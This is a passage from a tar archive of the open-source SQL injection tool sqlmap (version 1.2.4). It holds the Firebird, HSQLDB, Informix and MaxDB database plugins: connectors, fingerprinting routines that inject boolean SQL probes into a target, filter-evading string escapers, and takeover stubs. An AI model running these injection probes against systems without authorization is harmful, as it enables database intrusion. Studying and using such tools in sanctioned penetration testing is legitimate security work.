Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer return value actVer = Format.getDbms() + " (%s)" % (self._dialectCheck()) blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if re.search(r"-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def _sysTablesCheck(self): retVal = None table = ( ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)), ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), # TODO: add test for Firebird 2.5 ) for i in xrange(len(table)): version, checks = table[i] failed = False check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100))) result = inject.checkBooleanExpression(check) if result: retVal = version else: failed = True break if failed: break return retVal def _dialectCheck(self): retVal = None if Backend.getIdentifiedDbms(): result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)") retVal = "dialect 3" if result else "dialect 1" return retVal def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(FIREBIRD_ALIASES): setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion())) self.getBanner() return True infoMsg = "testing %s" % DBMS.FIREBIRD logger.info(infoMsg) result = inject.checkBooleanExpression("(SELECT COUNT(*) FROM RDB$DATABASE WHERE [RANDNUM]=[RANDNUM])>0") if result: infoMsg = "confirming %s" % DBMS.FIREBIRD logger.info(infoMsg) result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False setDbms(DBMS.FIREBIRD) infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD logger.info(infoMsg) version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) setDbms("%s %s" % (DBMS.FIREBIRD, version)) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False def forceDbmsEnum(self): conf.db = "%s%s" % (DBMS.FIREBIRD, METADB_SUFFIX) if conf.tbl: conf.tbl = conf.tbl.upper() ��sqlmap-1.2.4/plugins/dbms/firebird/syntax.py��������������������������������������������������������0000664�0000000�0000000�00000002203�13260122637�0021106�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import isDBMSVersionAtLeast from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> from lib.core.common import Backend >>> Backend.setVersion('2.0') ['2.0'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") "SELECT 'abcdefgh' FROM foobar" >>> Backend.setVersion('2.1') ['2.1'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT ASCII_CHAR(97)||ASCII_CHAR(98)||ASCII_CHAR(99)||ASCII_CHAR(100)||ASCII_CHAR(101)||ASCII_CHAR(102)||ASCII_CHAR(103)||ASCII_CHAR(104) FROM foobar' """ def escaper(value): return "||".join("ASCII_CHAR(%d)" % ord(_) for _ in value) retVal = expression if isDBMSVersionAtLeast("2.1"): retVal = Syntax._escape(expression, quote, escaper) return retVal ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/firebird/takeover.py������������������������������������������������������0000664�0000000�0000000�00000002022�13260122637�0021377�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on Firebird it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Firebird it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Firebird it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Firebird it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/hsqldb/�������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0016700�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/hsqldb/__init__.py��������������������������������������������������������0000664�0000000�0000000�00000002013�13260122637�0021005�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import HSQLDB_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.hsqldb.enumeration import Enumeration from plugins.dbms.hsqldb.filesystem import Filesystem from plugins.dbms.hsqldb.fingerprint import Fingerprint from plugins.dbms.hsqldb.syntax import Syntax from plugins.dbms.hsqldb.takeover import Takeover from plugins.generic.misc import Miscellaneous class HSQLDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines HSQLDB methods """ def __init__(self): self.excludeDbsList = HSQLDB_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.HSQLDB] = Syntax.escape ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/hsqldb/connector.py�������������������������������������������������������0000664�0000000�0000000�00000005323�13260122637�0021247�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ try: import jaydebeapi import jpype except: pass import logging from lib.core.common import checkFile from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/ User guide: https://pypi.python.org/pypi/JayDeBeApi/#usage & http://jpype.sourceforge.net/doc/user-guide/userguide.html API: - Debian package: - License: LGPL & Apache License 2.0 """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: msg = "what's the location of 'hsqldb.jar'? " jar = readInput(msg) checkFile(jar) args = "-Djava.class.path=%s" % jar jvm_path = jpype.getDefaultJVMPath() jpype.startJVM(jvm_path, args) except Exception, msg: raise SqlmapConnectionException(msg[0]) try: driver = 'org.hsqldb.jdbc.JDBCDriver' connection_string = 'jdbc:hsqldb:mem:.' # 'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db) self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password)) except Exception, msg: raise SqlmapConnectionException(msg[0]) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except Exception, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) return None def execute(self, query): retVal = False try: self.cursor.execute(query) retVal = True except Exception, msg: # TODO: fix with specific error logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) self.connector.commit() return retVal def select(self, query): retVal = None upper_query = query.upper() if query and not (upper_query.startswith("SELECT ") or upper_query.startswith("VALUES ")): query = "VALUES %s" % query if query and upper_query.startswith("SELECT ") and " FROM " not in upper_query: query = "%s FROM (VALUES(0))" % query self.cursor.execute(query) retVal = self.cursor.fetchall() return retVal �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/hsqldb/enumeration.py�����������������������������������������������������0000664�0000000�0000000�00000002465�13260122637�0021607�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.enumeration import Enumeration as GenericEnumeration from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.common import unArrayizeValue from lib.core.enums import DBMS from lib.core.settings import HSQLDB_DEFAULT_SCHEMA from lib.request import inject class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getBanner(self): if not conf.getBanner: return if kb.data.banner is None: infoMsg = "fetching banner" logger.info(infoMsg) query = queries[DBMS.HSQLDB].banner.query kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True)) return kb.data.banner def getPrivileges(self, *args): warnMsg = "on HSQLDB it is not possible to enumerate the user privileges" logger.warn(warnMsg) return {} def getHostname(self): warnMsg = "on HSQLDB it is not possible to enumerate the hostname" logger.warn(warnMsg) def getCurrentDb(self): return HSQLDB_DEFAULT_SCHEMA �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/hsqldb/filesystem.py������������������������������������������������������0000664�0000000�0000000�00000001321�13260122637�0021433�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on HSQLDB it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on HSQLDB it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/hsqldb/fingerprint.py�����������������������������������������������������0000664�0000000�0000000�00000011166�13260122637�0021606�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import HSQLDB_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.HSQLDB) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp and not conf.api: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp and not conf.api: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer return value blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None if re.search(r"-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer] if banVer else None) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: DATABASE_VERSION() version 2.2.6 added two-arg REPLACE functio REPLACE('a','a') compared to REPLACE('a','a','d') version 2.2.5 added SYSTIMESTAMP function version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions version 2.2.0 added support for ROWNUM() function version 2.1.0 added MEDIAN aggregate function version < 2.0.1 added support for datetime ROUND and TRUNC functions version 2.0.0 added VALUES support version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the full version string, including the 4th digit (e.g 1.8.0.4). version 1.7.2 CASE statements added and INFORMATION_SCHEMA """ if not conf.extensiveFp and Backend.isDbmsWithin(HSQLDB_ALIASES): setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("1.7.2"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.HSQLDB logger.info(infoMsg) result = inject.checkBooleanExpression("CASEWHEN(1=1,1,0)=1") if result: infoMsg = "confirming %s" % DBMS.HSQLDB logger.info(infoMsg) result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warn(warnMsg) return False else: kb.data.has_information_schema = True Backend.setVersion(">= 1.7.2") setDbms("%s 1.7.2" % DBMS.HSQLDB) banner = self.getBanner() if banner: Backend.setVersion("= %s" % banner) else: if inject.checkBooleanExpression("(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]"): Backend.setVersionList([">= 2.0.0", "< 2.3.0"]) else: banner = unArrayizeValue(inject.getValue("\"org.hsqldbdb.Library.getDatabaseFullProductVersion\"()", safeCharEncode=True)) if banner: Backend.setVersion("= %s" % banner) else: Backend.setVersionList([">= 1.7.2", "< 1.8.0"]) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warn(warnMsg) dbgMsg = "...or version is < 1.7.2" logger.debug(dbgMsg) return False def getHostname(self): warnMsg = "on HSQLDB it is not possible to enumerate the hostname" logger.warn(warnMsg) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/hsqldb/syntax.py����������������������������������������������������������0000664�0000000�0000000�00000001317�13260122637�0020602�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar' """ def escaper(value): return "||".join("CHAR(%d)" % ord(value[i]) for i in xrange(len(value))) return Syntax._escape(expression, quote, escaper) �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/hsqldb/takeover.py��������������������������������������������������������0000664�0000000�0000000�00000002012�13260122637�0021065�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on HSQLDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on HSQLDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on HSQLDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on HSQLDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/informix/�����������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0017256�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/informix/__init__.py������������������������������������������������������0000664�0000000�0000000�00000002040�13260122637�0021363�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import INFORMIX_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.informix.enumeration import Enumeration from plugins.dbms.informix.filesystem import Filesystem from plugins.dbms.informix.fingerprint import Fingerprint from plugins.dbms.informix.syntax import Syntax from plugins.dbms.informix.takeover import Takeover from plugins.generic.misc import Miscellaneous class InformixMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Informix methods """ def __init__(self): self.excludeDbsList = INFORMIX_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.INFORMIX] = Syntax.escape ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/informix/connector.py�����������������������������������������������������0000664�0000000�0000000�00000003473�13260122637�0021631�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ try: import ibm_db_dbi except: pass import logging from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://code.google.com/p/ibm-db/ User guide: http://code.google.com/p/ibm-db/wiki/README API: http://www.python.org/dev/peps/pep-0249/ License: Apache License 2.0 """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) except ibm_db_dbi.OperationalError, msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except ibm_db_dbi.ProgrammingError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) return None def execute(self, query): try: self.cursor.execute(query) except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except ibm_db_dbi.InternalError, msg: raise SqlmapConnectionException(msg[1]) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/informix/enumeration.py���������������������������������������������������0000664�0000000�0000000�00000001620�13260122637�0022155�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def searchDb(self): warnMsg = "on Informix searching of databases is not implemented" logger.warn(warnMsg) return [] def searchTable(self): warnMsg = "on Informix searching of tables is not implemented" logger.warn(warnMsg) return [] def searchColumn(self): warnMsg = "on Informix searching of columns is not implemented" logger.warn(warnMsg) return [] def search(self): warnMsg = "on Informix search option is not available" logger.warn(warnMsg) ����������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/informix/filesystem.py����������������������������������������������������0000664�0000000�0000000�00000000473�13260122637�0022020�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/informix/fingerprint.py���������������������������������������������������0000664�0000000�0000000�00000006303�13260122637�0022161�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import INFORMIX_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.INFORMIX) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.INFORMIX return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(INFORMIX_ALIASES): setDbms(DBMS.INFORMIX) self.getBanner() return True infoMsg = "testing %s" % DBMS.INFORMIX logger.info(infoMsg) result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSMASTER:SYSDUAL)") if result: infoMsg = "confirming %s" % DBMS.INFORMIX logger.info(infoMsg) result = inject.checkBooleanExpression("(SELECT DBINFO('DBNAME') FROM SYSMASTER:SYSDUAL) IS NOT NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX logger.warn(warnMsg) return False # Determine if it is Informix >= 11.70 if inject.checkBooleanExpression("CHR(32)=' '"): Backend.setVersion(">= 11.70") setDbms(DBMS.INFORMIX) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.INFORMIX logger.info(infoMsg) for version in ("12.1", "11.7", "11.5"): output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version) if output: Backend.setVersion(version) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX logger.warn(warnMsg) return False �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/informix/syntax.py��������������������������������������������������������0000664�0000000�0000000�00000002404�13260122637�0021156�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.common import isDBMSVersionAtLeast from lib.core.common import randomStr from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> from lib.core.common import Backend >>> Backend.setVersion('12.10') ['12.10'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar' """ def escaper(value): return "||".join("CHR(%d)" % ord(_) for _ in value) retVal = expression if isDBMSVersionAtLeast("11.70"): excluded = {} for _ in re.findall(r"DBINFO\([^)]+\)", expression): excluded[_] = randomStr() expression = expression.replace(_, excluded[_]) retVal = Syntax._escape(expression, quote, escaper) for _ in excluded.items(): retVal = retVal.replace(_[1], _[0]) return retVal ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/informix/takeover.py������������������������������������������������������0000664�0000000�0000000�00000000554�13260122637�0021454�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): self.__basedir = None self.__datadir = None GenericTakeover.__init__(self) ����������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/maxdb/��������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0016516�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/maxdb/__init__.py���������������������������������������������������������0000664�0000000�0000000�00000002005�13260122637�0020624�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import MAXDB_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.maxdb.enumeration import Enumeration from plugins.dbms.maxdb.filesystem import Filesystem from plugins.dbms.maxdb.fingerprint import Fingerprint from plugins.dbms.maxdb.syntax import Syntax from plugins.dbms.maxdb.takeover import Takeover from plugins.generic.misc import Miscellaneous class MaxDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines SAP MaxDB methods """ def __init__(self): self.excludeDbsList = MAXDB_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.MAXDB] = Syntax.escape ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/maxdb/connector.py��������������������������������������������������������0000664�0000000�0000000�00000001057�13260122637�0021065�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): def __init__(self): GenericConnector.__init__(self) def connect(self): errMsg = "on SAP MaxDB it is not possible to establish a " errMsg += "direct connection" raise SqlmapUnsupportedFeatureException(errMsg) 